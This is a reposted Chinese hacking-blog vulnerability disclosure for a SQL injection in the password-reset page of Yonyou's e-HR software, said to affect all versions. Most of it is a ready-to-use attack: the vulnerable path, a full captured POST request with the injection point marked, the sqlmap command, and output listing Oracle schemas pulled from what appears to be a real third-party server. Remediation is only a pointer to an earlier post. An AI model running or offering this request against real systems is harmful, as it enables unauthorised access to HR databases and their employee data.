记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

用友人力资源管理软件(e-HR)另一处SQL注入漏洞(通杀所有版本)

2014-09-24 01:05

上一个注入由于不清楚到底是啥版本,只能让厂商自己去查了,赶脚挺愧疚的。
这次终于不用纠结版本问题了,因为通杀。。。

1.漏洞出在[重置密码]功能这,密码找回输入用户处由于未进行过滤导致SQL注入漏洞。



2.漏洞文件http://x.x.x.x/hrss/rm/ResetPwd.jsp?

 

xyk.png

 










 


3. 抓包丢SQLMAP里跑数据库名:
./sqlmap.py -r xx.txt
<code>
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 59.173.0.46:8090
Proxy-Connection: keep-alive
Content-Length: 582
Pragma: no-cache
Origin: http://59.173.0.46:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://59.173.0.46:8090/hrss/rm/ResetPwd.jsp?
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=0000DnaJYJnM5KUn8YfKWXZjmgv:16sau0unt

__type=updateData&__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<rpc transaction="10" method="resetPwd"><def><dataset type="Custom" id="dsResetPwd"><f name="user"></f></dataset></def><data><rs dataset="dsResetPwd"><r id="10008" state="insert"><n><v>aaaa*</v></n></r></rs></data><vps><p name="__profileKeys">findPwd;9589d8b622333776899b3ff0567f4603</p></vps></rpc>&1404976068948


结果如下:

[15:27:19] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[15:27:19] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[15:27:19] [INFO] fetching database (schema) names
[15:27:20] [INFO] the SQL query used returns 31 entries
[15:27:21] [INFO] retrieved: APEX_030200
[15:27:21] [INFO] retrieved: APPQOSSYS
[15:27:22] [INFO] retrieved: CTXSYS
[15:27:23] [INFO] retrieved: DBSNMP
[15:27:24] [INFO] retrieved: EFDC
[15:27:25] [INFO] retrieved: EXFSYS
[15:27:26] [INFO] retrieved: FLOWS_FILES
[15:27:27] [INFO] retrieved: IUFO
[15:27:28] [INFO] retrieved: IUFO57
[15:27:29] [INFO] retrieved: JQ
[15:27:30] [INFO] retrieved: MCCPT
[15:27:31] [INFO] retrieved: MCCWK
[15:27:32] [INFO] retrieved: MDSYS
[15:27:33] [INFO] retrieved: NC57
[15:27:34] [INFO] retrieved: NC57ZYWK
[15:27:35] [INFO] retrieved: NCPORTAL
[15:27:36] [INFO] retrieved: OLAPSYS
[15:27:37] [INFO] retrieved: ORDDATA
[15:27:38] [INFO] retrieved: ORDSYS
[15:27:39] [INFO] retrieved: OUTLN
[15:27:40] [INFO] retrieved: OWBSYS
[15:27:41] [INFO] retrieved: RMAN
[15:27:42] [INFO] retrieved: SCOTT
[15:27:42] [INFO] retrieved: SYS
[15:27:43] [INFO] retrieved: SYSMAN
[15:27:46] [INFO] retrieved: SYSTEM
[15:27:47] [INFO] retrieved: V3XUSER
[15:27:47] [INFO] retrieved: WMSYS
[15:27:48] [INFO] retrieved: WX
[15:27:49] [INFO] retrieved: XDB
[15:27:50] [INFO] retrieved: ZYTJWK

 

修复方案:

参见上一个漏洞

知识来源: www.2cto.com/Article/201409/336974.html

阅读:174141 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“用友人力资源管理软件(e-HR)另一处SQL注入漏洞(通杀所有版本)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云